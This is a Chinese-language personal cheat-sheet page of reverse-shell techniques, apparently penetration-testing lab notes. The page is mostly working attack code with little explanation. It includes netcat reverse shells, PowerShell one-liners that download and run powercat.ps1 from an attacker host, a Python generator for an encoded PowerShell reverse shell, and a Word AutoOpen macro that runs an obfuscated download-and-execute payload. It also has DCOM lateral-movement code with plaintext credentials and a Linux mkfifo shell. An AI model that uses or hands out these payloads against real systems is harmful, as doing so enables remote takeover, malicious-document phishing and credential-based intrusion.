【反向 shell】

https://gchq.github.io/CyberChef

https://www.online-python.com/

Online - Reverse Shell Generator (revshells.com)

```
# kali 開啟 443 listener
nc -nvlp 443
```

window

```
# 一旦監聽器正在運行，我們將再次使用Web殼在MULTISERVER03上執行`nc.exe`，
# 並使用`-e`參數在連接建立後執行`cmd.exe`。
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 443
```

```
//windows
os-shell> curl http://192.168.45.189/nc.exe -o "C:\\inetpub\\wwwroot\\nc.exe"

os-shell> C:\\inetpub\\wwwroot\\nc.exe 192.168.45.189 4444 -e cmd.exe
// or
powershell.exe -nop -w hidden \
-enc 'IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.189/powercat.ps1");powercat -c 192.168.45.189 -p
4444 -e powershell'
```

```
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
 print("Str = Str + " + '"' + str[i:i+n] + '"')
```

```
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e
powershell
```

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e powershell

```
Sub AutoOpen()
   MyMacro
End Sub

Sub Document_Open()
   MyMacro
End Sub

Sub MyMacro()
   Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5Idy1PYmplY"
Str = Str + "3QgU3IzdGVtLk5IdC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
Str = Str + "nKCdodHRwOi8vMTkyLjE2OC40NS4yMzcvcG93ZXJjYXQucHMxJ"
Str = Str + "yk7cG93ZXJjYXQgLWMgMTkyLjE2OC40NS4yMzcgLXAgNDQzIC1"
Str = Str + "lIHBvd2Vyc2hlbGw="

CreateObject("Wscript.Shell").Run Str

End Sub
```

python

import sys

```
import base64
kali = "192.168.45.153"
payload = '$client = New-Object System.Net.Sockets.TCPClient("'+kali+'",443);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
```

横移登入

```
$ip = '192.168.236.72';
$username = 'jen';
$password = 'Nexus123!';
$base64Cmd =
'JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHM

$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM;
$Session = New-Cimsession -ComputerName $ip -Credential $credential -SessionOption $Options;
$Command = 'powershell -nop -w hidden -e '+ $base64Cmd;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine
=$Command};
```

Linux

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 443 >/tmp/f
```

⏲修訂版本 #12
★由 treeman 建立於 10 ��@�� 2024 23:52:52
🖉由 treeman 更新於 18 ��G�� 2024 15:34:55